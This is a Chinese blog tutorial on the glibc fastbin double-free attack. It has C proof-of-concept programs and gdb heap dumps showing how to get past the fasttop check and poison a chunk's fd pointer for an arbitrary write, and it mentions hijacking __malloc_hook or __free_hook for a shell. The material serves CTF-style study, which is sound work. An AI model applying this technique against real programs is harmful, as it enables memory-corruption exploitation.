Fastbin Attack

题外:本文只是记录自己所学,参考博客:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

fastbin attack大体思路是修改chunk的fd指针或通过free伪造的chunk,将其添加到fastbin链表中,再通过malloc分配给用户从而达到任意地址写。大致可分为以下几种利用方法。

fastbin double free:

fastbin double free就是将同一个chunk  free两次。不过free函数有一个检查,我们必须得绕过:

if (__builtin_expect (old == p, 0))
    malloc_printerr ("double free or corruption (fasttop)");

这个检查大致意思是当前free的不能和fastbin里的第一chunk为同一个chunk。假设要free chunk1两次,那free的顺序必须是chunk1 chunk2 chunk1,否则会报错。

具体请看示例代码:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    void *ptr, *ptr2;
    ptr = malloc(0x20);
    free(ptr);
    free(ptr);
    return 0;
}

编译运行则会出现如下错误:

*** Error in `./test2‘: double free or corruption (fasttop): 0x0000000000aa0010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f34ac1c37e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f34ac1cc37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f34ac1d053c]
./test2[0x400594]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f34ac16c830]
./test2[0x400499]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 811832                             /home/countfatcode/Fastbin/test2
00600000-00601000 r--p 00000000 08:01 811832                             /home/countfatcode/Fastbin/test2
00601000-00602000 rw-p 00001000 08:01 811832                             /home/countfatcode/Fastbin/test2
00aa0000-00ac1000 rw-p 00000000 00:00 0                                  [heap]
7f34a7dea000-7f34a7e00000 r-xp 00000000 08:01 1054019                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f34a7e00000-7f34a7fff000 ---p 00016000 08:01 1054019                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f34a7fff000-7f34a8000000 rw-p 00015000 08:01 1054019                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f34a8000000-7f34a8021000 rw-p 00000000 00:00 0
7f34a8021000-7f34ac000000 ---p 00000000 00:00 0
7f34ac14c000-7f34ac30c000 r-xp 00000000 08:01 1066000                    /lib/x86_64-linux-gnu/libc-2.23.so
7f34ac30c000-7f34ac50c000 ---p 001c0000 08:01 1066000                    /lib/x86_64-linux-gnu/libc-2.23.so
7f34ac50c000-7f34ac510000 r--p 001c0000 08:01 1066000                    /lib/x86_64-linux-gnu/libc-2.23.so
7f34ac510000-7f34ac512000 rw-p 001c4000 08:01 1066000                    /lib/x86_64-linux-gnu/libc-2.23.so
7f34ac512000-7f34ac516000 rw-p 00000000 00:00 0
7f34ac516000-7f34ac53c000 r-xp 00000000 08:01 1065984                    /lib/x86_64-linux-gnu/ld-2.23.so
7f34ac720000-7f34ac723000 rw-p 00000000 00:00 0
7f34ac73a000-7f34ac73b000 rw-p 00000000 00:00 0
7f34ac73b000-7f34ac73c000 r--p 00025000 08:01 1065984                    /lib/x86_64-linux-gnu/ld-2.23.so
7f34ac73c000-7f34ac73d000 rw-p 00026000 08:01 1065984                    /lib/x86_64-linux-gnu/ld-2.23.so
7f34ac73d000-7f34ac73e000 rw-p 00000000 00:00 0
7ffd9571f000-7ffd95740000 rw-p 00000000 00:00 0                          [stack]
7ffd957f9000-7ffd957fb000 r--p 00000000 00:00 0                          [vvar]
7ffd957fb000-7ffd957fd000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
已放弃 (核心已转储)

这是因为我们free的chunk和fastbin的第一chunk为通过一个chunk,所以会被ptmalloc检查出来。此时我们修改代码为如下示例:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    void *ptr, *ptr2;
    ptr = malloc(0x20);
    ptr2 = malloc(0x20);
    free(ptr);
    free(ptr2);
    free(ptr);
    return 0;
}

编译运行后不会报错。现在我们来调试一下看看ptmalloc是怎么管理fastbin的。

gdb-peda$ x/20xg 0x602000
0x602000:    0x0000000000000000    0x0000000000000031  -------ptr
0x602010:    0x0000000000000000    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000031  -------ptr2
0x602040:    0x0000000000602000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000020fa1   --- top chunk
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000000    0x0000000000000000

此时程序还没有free ptr两次,我们可以看出ptr2的fd指针指向的是ptr,而ptr的fd指针为空,fastbin链表为如下情形:

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x602030 --> 0x602000 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602060 (size : 0x20fa0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

此时我们执行再次执行free(ptr),可以看出ptr的fd指针指向了ptr2

gdb-peda$ x/20xg 0x602000
0x602000:    0x0000000000000000    0x0000000000000031 ------ptr
0x602010:    0x0000000000602030    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000031 ------ptr2
0x602040:    0x0000000000602000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000020fa1 ------top chunk
0x602070:    0x0000000000000000    0x0000000000000000
0x602080:    0x0000000000000000    0x0000000000000000
0x602090:    0x0000000000000000    0x0000000000000000

fastbin链表如下:

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x602000 --> 0x602030 --> 0x602000 (overlap chunk with 0x602000(freed) )
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x602060 (size : 0x20fa0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

利用这个思路,我们可以通过修改ptr的fd指针指向fake chunk从而达到任意地址写的目的。示例代码如下:

#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

调试即可发现我们成功在.bss段上申请了一个chunk。

小总结:fastbin double free通过free两次再修改fd指针达到利用目的。这种方法再free后没有清空指针尤其好用。利用这种方法可以泄露栈上的关键数据,或者直接修改__malloc_hook或__free_hook直接拿到靶机的shell。

原文地址:https://www.cnblogs.com/countfatcode/p/11829124.html

时间: 2024-10-19 01:05:24

Fastbin Attack的相关文章

how2heap 源码及输出

备个份,慢慢写总结 1 first_fit 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 printf("glibc u

HITCON-Training-Writeup

HITCON-Training-Writeup 原文链接[email protected] 复习一下二进制基础,写写HITCON-Training的writeup,题目地址:https://github.com/scwuaptx/HITCON-Training Outline Basic Knowledge Introduction Reverse Engineering Static Analysis Dynamic Analysis Exploitation Useful Tool IDA

有关于二进制漏洞和利用的碎碎念

有关于二进制漏洞和利用的碎碎念 划水作品 偷闲记录一下二进制方面的各种概念,各种原理,各种利用等等,方便过后查阅,也为之后的学习路线列一个大的框架,主要内容还是针对CTF中的pwn,实际漏洞也有这些方面,不过就需要花更多的精力慢慢硬磕了. 栈溢出 由于种种原因,这是本人学习时间最长的一种漏洞,学的时候还有乌云,学完... 栈溢出原理很简单,就是栈上的数据没有合理的被控制,从而使得输入数据超出它本应该在的范围,越界少的可能只是局部变量覆盖,多的就是劫持控制流,不同情况造成不同的后果. 栈溢出是二进

0ctf2018 pwn

前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u); } 这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout #!/usr/bin/python -u # encoding: utf-8 from pwn import * import r

0ctf2017-babyheap

前言 又是一道令人怀疑人生的 baby 题. 这道题利用思路非常巧妙,通过 堆溢出 和 fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadget 来 getshell. 题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap 正文 程序涉及的结构体 info 的结构如下,可以通过 allocate 功能

babyheap

64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __int64 v4; // [rsp+8h] [rbp-8h] 4 5 v4 = sub_B70(a1, a2, a3); 6 while ( 1 ) 7 { 8 printmenu(); 9 sub_138C(); 10 switch ( (unsigned __int64)off_14F4 ) 1

babyheap_0ctf_2017 堆技巧 fastbin-attack

目录 常规检查 逆向分析 Allocate 函数 Fill 函数 Free 函数 Dump 函数 利用思路 利用过程 get flag exp 脚本 内容来源 常规检查 逆向分析 ??程序有四个功能 Allocate:分配内存大小并给出 index Fill:输入 index ,并分配内存进行内容写入操作 Free:输入 index ,释放相应的内存空间 Dump:输入 index ,打印内容 Allocate 函数 分配的大小不能超过 4096 字节 (24LL i + a1):置 1 表示

Unsorted Bin Attack

在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 unsorted Bin 中寻找 chunk.如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中. unsorted Bin Attack 的前提是unsorted Bin Chunk 的 bk 指针可控 我们可以修改bk(指向链表中下一个chunk)为 addr-2*size (size是一个单位大小,32/64程序

ZOJ 2587 Unique Attack 判断最小割是否唯一

很裸的判断最小割是否唯一.判断方法是先做一遍最大流求最小割,然后从源点和汇点分别遍历所有能够到达的点,看是否覆盖了所有的点,如果覆盖了所有的点,那就是唯一的,否则就是不唯一的. #include <cstdio> #include <cstring> #include <cmath> #include <algorithm> #include <climits> #include <string> #include <iostr